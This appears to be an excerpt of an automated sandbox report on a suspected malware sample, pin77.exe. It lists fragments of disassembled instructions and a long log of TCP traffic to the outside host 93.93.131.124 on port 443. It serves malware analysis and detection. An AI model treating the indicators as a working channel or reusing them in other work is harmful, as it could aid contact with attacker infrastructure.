Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edi, dword ptr [esp]12_2_0034D650
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebp, byte ptr [edi]20_2_0035A060
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ecx20_2_003541F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, ebp20_2_003602F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ecx20_2_00328420
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movsx edi, si20_2_003684F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ebx20_2_00372730
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push 00000001h20_2_0033C7D0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov dword ptr [esp+0Ch], edx20_2_0036E800
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov byte ptr [eax+esi*4+07h], 00000004h20_2_002F4877
Source: C:\Users\Public\pin77.exeCode function: 4x nop then sub edx, 01h20_2_0030A8D0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [esi+08h]20_2_0030C97D
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edx, dword ptr [edi+ebx*4]20_2_002FE970
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebx, byte ptr [ecx+ebp]20_2_0036C9F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edi, edx20_2_00358A20
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [edi+04h]20_2_00358B40
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [esp+eax*8]20_2_0037CDF0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then cmp byte ptr [edi+ebx], 0000002Ch20_2_0033CF40
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [edi+ebp*4+04h]20_2_00312FA0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then sub esi, 03h20_2_00360FC0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, edx20_2_0032B030
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push dword ptr [edi+10h]20_2_003530B0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [eax-08h]20_2_003150A0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebx, word ptr [ecx+edx*2]20_2_003750F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov esi, 00000000h20_2_0035F1E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ebx20_2_00323220
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov dword ptr [esp+04h], ecx20_2_0036D290
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [esi+1Ch]20_2_0032F2F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then add edi, 01h20_2_003072E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov esi, 00000000h20_2_0035F300
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ebp, ebx20_2_00309350
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push dword ptr [edi-4Ch]20_2_003433A0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx edi, word ptr [ecx+edx*2]20_2_003753E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then add esp, 04h20_2_0034D3D0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edi, dword ptr [esp]20_2_0034D650
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movsx eax, cl20_2_0032D9F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [003F1768h]20_2_002F5AF0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov dword ptr [esp+04h], ecx20_2_0036DB60
Source: C:\Users\Public\pin77.exeCode function: 4x nop then call 0032AFE0h20_2_00339B40
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49700
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49702
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49703
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
